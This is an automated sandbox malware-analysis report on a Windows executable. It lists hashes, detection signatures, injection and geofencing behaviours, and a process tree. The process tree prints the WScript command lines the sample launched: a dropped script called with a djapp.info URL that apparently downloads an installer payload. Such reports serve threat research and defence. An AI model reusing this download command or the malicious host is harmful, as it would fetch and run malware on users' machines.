Analysis
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max time kernel
133s -
max time network
138s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system -
submitted
16/05/2024, 02:40
Static task
static1
Behavioral task
behavioral1
Sample
492396d3aac1454a33cc6f1379d2c8b4_JaffaCakes118.exe
Resource
win7-20240508-en
Behavioral task
behavioral2
Sample
492396d3aac1454a33cc6f1379d2c8b4_JaffaCakes118.exe
Resource
win10v2004-20240426-en
General
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Target
492396d3aac1454a33cc6f1379d2c8b4_JaffaCakes118.exe
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Size
184KB
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MD5
492396d3aac1454a33cc6f1379d2c8b4
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SHA1
9117468bfb9ae659995d572da45f9bccb5d903d4
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SHA256
8ea56ca2636b05382e88190f465c70774d3b4cf481a7a93b4a6bcd8b0b86caf8
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SHA512
e058257dab88bea39e1aac611bc6b60c4395b12180d3c1f69c8dab862d753ea79715f5d3b254809f158f7b317d8f4e16dd0f9dfe1b128a0c98cebbc0366ebf2b
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SSDEEP
3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3+:/7BSH8zUB+nGESaaRvoB7FJNndnj
Malware Config
Signatures
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Blocklisted process makes network request 7 IoCs
flow pid Process 5 4424 WScript.exe 39 2128 WScript.exe 40 2128 WScript.exe 42 1640 WScript.exe 52 5012 WScript.exe 53 5012 WScript.exe 59 1688 WScript.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation 492396d3aac1454a33cc6f1379d2c8b4_JaffaCakes118.exe -
Command and Scripting Interpreter: JavaScript 1 TTPs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Program crash 1 IoCs
pid pid_target Process procid_target 4420 1560 WerFault.exe 84 -
Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000_Classes\Local Settings 492396d3aac1454a33cc6f1379d2c8b4_JaffaCakes118.exe -
Suspicious use of WriteProcessMemory 15 IoCs
description pid Process procid_target PID 1560 wrote to memory of 4424 1560 492396d3aac1454a33cc6f1379d2c8b4_JaffaCakes118.exe 85 PID 1560 wrote to memory of 4424 1560 492396d3aac1454a33cc6f1379d2c8b4_JaffaCakes118.exe 85 PID 1560 wrote to memory of 4424 1560 492396d3aac1454a33cc6f1379d2c8b4_JaffaCakes118.exe 85 PID 1560 wrote to memory of 2128 1560 492396d3aac1454a33cc6f1379d2c8b4_JaffaCakes118.exe 100 PID 1560 wrote to memory of 2128 1560 492396d3aac1454a33cc6f1379d2c8b4_JaffaCakes118.exe 100 PID 1560 wrote to memory of 2128 1560 492396d3aac1454a33cc6f1379d2c8b4_JaffaCakes118.exe 100 PID 1560 wrote to memory of 1640 1560 492396d3aac1454a33cc6f1379d2c8b4_JaffaCakes118.exe 101 PID 1560 wrote to memory of 1640 1560 492396d3aac1454a33cc6f1379d2c8b4_JaffaCakes118.exe 101 PID 1560 wrote to memory of 1640 1560 492396d3aac1454a33cc6f1379d2c8b4_JaffaCakes118.exe 101 PID 1560 wrote to memory of 5012 1560 492396d3aac1454a33cc6f1379d2c8b4_JaffaCakes118.exe 104 PID 1560 wrote to memory of 5012 1560 492396d3aac1454a33cc6f1379d2c8b4_JaffaCakes118.exe 104 PID 1560 wrote to memory of 5012 1560 492396d3aac1454a33cc6f1379d2c8b4_JaffaCakes118.exe 104 PID 1560 wrote to memory of 1688 1560 492396d3aac1454a33cc6f1379d2c8b4_JaffaCakes118.exe 105 PID 1560 wrote to memory of 1688 1560 492396d3aac1454a33cc6f1379d2c8b4_JaffaCakes118.exe 105 PID 1560 wrote to memory of 1688 1560 492396d3aac1454a33cc6f1379d2c8b4_JaffaCakes118.exe 105
Processes
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C:\Users\Admin\AppData\Local\Temp\492396d3aac1454a33cc6f1379d2c8b4_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\492396d3aac1454a33cc6f1379d2c8b4_JaffaCakes118.exe"1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1560 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf6D7F.js" http://www.djapp.info/?domain=FqAIGcdOrQ.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjQiodRIIVA0RmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4W8ARNmNAMCdXMWAnI7ZWcJfndWFTQ8Ceizxfr7RVJSNKY6xJX C:\Users\Admin\AppData\Local\Temp\fuf6D7F.exe2⤵
- Blocklisted process makes network request
PID:4424
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf6D7F.js" http://www.djapp.info/?domain=FqAIGcdOrQ.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjQiodRIIVA0RmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4W8ARNmNAMCdXMWAnI7ZWcJfndWFTQ8Ceizxfr7RVJSNKY6xJX C:\Users\Admin\AppData\Local\Temp\fuf6D7F.exe2⤵
- Blocklisted process makes network request
PID:2128
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf6D7F.js" http://www.djapp.info/?domain=FqAIGcdOrQ.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjQiodRIIVA0RmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4W8ARNmNAMCdXMWAnI7ZWcJfndWFTQ8Ceizxfr7RVJSNKY6xJX C:\Users\Admin\AppData\Local\Temp\fuf6D7F.exe2⤵
- Blocklisted process makes network request
PID:1640
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf6D7F.js" http://www.djapp.info/?domain=FqAIGcdOrQ.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjQiodRIIVA0RmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4W8ARNmNAMCdXMWAnI7ZWcJfndWFTQ8Ceizxfr7RVJSNKY6xJX C:\Users\Admin\AppData\Local\Temp\fuf6D7F.exe2⤵
- Blocklisted process makes network request
PID:5012
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf6D7F.js" http://www.djapp.info/?domain=FqAIGcdOrQ.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjQiodRIIVA0RmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4W8ARNmNAMCdXMWAnI7ZWcJfndWFTQ8Ceizxfr7RVJSNKY6xJX C:\Users\Admin\AppData\Local\Temp\fuf6D7F.exe2⤵
- Blocklisted process makes network request
PID:1688
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1560 -s 14482⤵
- Program crash
PID:4420
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 1560 -ip 15601⤵PID:4280
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
3KB
MD53813cab188d1de6f92f8b82c2059991b
SHA14807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb
SHA256a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e
SHA51283b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76